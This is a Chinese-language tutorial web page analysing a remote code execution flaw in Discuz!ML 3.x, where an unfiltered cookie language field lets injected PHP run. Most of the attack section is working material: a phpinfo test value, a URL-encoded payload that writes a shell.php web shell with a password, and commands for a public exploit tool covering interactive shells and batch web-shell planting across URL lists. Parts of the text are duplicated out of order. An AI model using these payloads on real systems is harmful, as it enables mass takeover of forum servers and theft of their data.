您现在的位置是：首页 > cms教程 > Discuz教程Discuz教程
discuz!ml-3.x版本getshell漏洞分析
海莲2025-07-20Discuz教程已有人查阅
导读漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。1.cookie字段中会出现xxxx_xxxx_language字段
影响范围：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
断是否存在漏洞：
批量检测:
搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
即可在路径下生成shell.php，连接密码为1利用工具工具名叫：dz-ml-rce.py ，是用py2写的，可以在github上下载。断是否存在漏洞：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
获取交互式shell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上传一句话木马getshell：
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
连接密码为“x”批量检测:
python dz-ml-rce.py -f urls.txt
批量上马getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地复现：搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：
http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具测试：发现存在此漏洞，那么直接获取个shell回来：此工具针对此漏洞还蛮好用的。
感谢您的认可和支持
微信
支付宝
本文标签：
很赞哦！ ()
相关教程
图文教程
Discuz论坛搜索功能使用方法
Discuz论坛是一个基于PHP的开源社区软件，支持用户发帖、回帖、私信等功能。搜索功能是其中的一个重要模块，允许用户通过关键词、作者、时间等条件来查找帖子。
Discuz的authcode函数注释
Discuz函数中最经典的函数是authcode函数，因为supesite，UCenterHome，UCenter，Discuz X都使用了这个函数进行加密
Discuz X3.1论坛门户的修改方法
discuz如何去掉门户相关分类?discuz这款cms是非常好用的，特别是它的diy功能，在discuzcms中很多站长都需要改很多地方
Discuz!X2 、Ucenter 1.6、ASP.NET程序整合步骤
对于ASP.NET 程序员来说，去整合PHP的应用实在有点别扭，但那也没有办法，即然是做程序的这些是避免不了的，既然免不了，那就上吧第一步：准备相关程序
相关源码
-
(PC+WAP)智能机器人人工智能物联网自动化设备源码下载本模板基于PbootCMS内核开发，为智能机器人及传感器科技企业精心设计。采用现代化设计风格，突出科技感与专业性，多方位展示企业技术实力与产品优势。查看源码 -
(自适应多语言)WordPress开源主题MirageV资讯个人博客源码MirageV资讯类个人博客主题源码/WordPress主题/全开源MirageV 是一款开源的 WordPress 主题，支持自适应、暗黑模式、多语言等功能，查看源码 -
(自适应)餐饮小吃火锅加盟pbootcms模板源码下载本模板基于PbootCMS系统开发，为火锅餐饮、小吃加盟等餐饮企业打造。采用响应式设计，适配各类移动设备，帮助餐饮企业展示特色菜品、加盟政策和服务优势。查看源码 -
(自适应)大气网络公司工作室个人作品展示网站模板免费下载基于PbootCMS内核开发的响应式网站模板，为网络技术服务类企业打造，具备高度可定制性。通过简洁现代的设计语言展现企业专业形象，后台数据实时同步机制确保多终端内容一致性，查看源码 -
(自适应)html5宽屏电线电缆材料加工制造类企业网站源码下载本模板基于PbootCMS系统开发，特别适合电线电缆、电缆材料及相关加工制造类企业使用。采用HTML5宽屏设计，能够展示各类电缆产品的技术参数和规格详情，帮助客户全面了解产品特性。查看源码 -
(自适应)电子元件电路板元器件pbootcms网站源码下载为电子元器件、电路板制造类企业设计，特别适合展示产品参数、技术规格等内容。采用响应式技术，确保各类电子元件在不同设备上都能清晰展示。查看源码
| 分享笔记 （共有 篇笔记） |
